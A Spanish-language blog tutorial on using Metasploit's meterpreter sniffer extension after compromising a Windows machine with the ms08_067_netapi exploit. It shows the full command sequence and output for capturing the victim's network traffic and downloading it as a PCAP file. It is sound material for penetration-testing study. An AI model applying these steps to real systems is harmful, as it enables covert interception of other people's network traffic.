Para aquellos que empleéis metasploit y todavía no sepáis todas las posibilidades que ofrece para la post explotación, hoy os voy a presentar una realmente interesante. El empleo de un sniffer desde meterpreter que facilita y cuanto, la captura de información en red una vez el sistema está comprometido.
Como siempre, lo complicado es acceder al sistema, pero una vez tengamos acceso, simplemente podemos seguir estos sencillos pasos,
- Acceso a un sistema comprometido
msf exploit(ms08_067_netapi)> sessions -l Active sessions =============== Id Type Connection -- ---- ---------- 1 meterpreter x86/win32 192.168.1.33:4444 -> 192.168.1.50:2813 msf exploit(ms08_067_netapi)> sessions -i 1 [*] Starting interaction with 1... meterpreter>
- Cargar el sniffer
meterpreter> use sniffer Loading extension sniffer...success. meterpreter> help Sniffer Commands ================ Command Description ------- ----------- sniffer_dump Retrieve captured packet data to PCAP file sniffer_interfaces Enumerate all sniffable network interfaces sniffer_release Free captured packets on a specific interface sniffer_start Start packet capture on a specific interface sniffer_stats View statistics of an active capture sniffer_stop Stop packet capture on a specific interface
- Comenzar a capturar
meterpreter> sniffer_interfaces 1 - 'NIC Fast Ethernet PCI Familia RTL8139 de Realtek'... meterpreter> sniffer_start 1 [*] Capture started on interface 1 (50000 packet buffer)
- Obtener estadísticas de capturas
meterpreter> sniffer_stats 1 [*] Capture statistics for interface 1 packets: 333 bytes: 139212
- Analizar los datos
meterpreter> lpwd /home/javier meterpreter> sniffer_dump 1 1.pcap [*] Flushing packet capture buffer for interface 1... [*] Flushed 348 packets (147971 bytes) [*] Downloaded 100% (147971/147971)... [*] Download completed, converting to PCAP... [*] PCAP file written to 1.pcap meterpreter> sniffer_stop 1 [*] Capture stopped on interface 1 [*] There are 9 packets (1071 bytes) remaining [*] Download or release them using 'sniffer_dump' or 'sniffer_release'
Tras esto, tenemos localizado en /home/javier/1.pcap un fichero de tipo .pcap con los datos que se han capturado del interfaz del Windows comprometido. Ahora sólo queda analizar lo que ha pasado por ese interfaz durante la captura. Para ello, podemos emplear un programa tipo wireshark.
No hay comentarios :
Publicar un comentario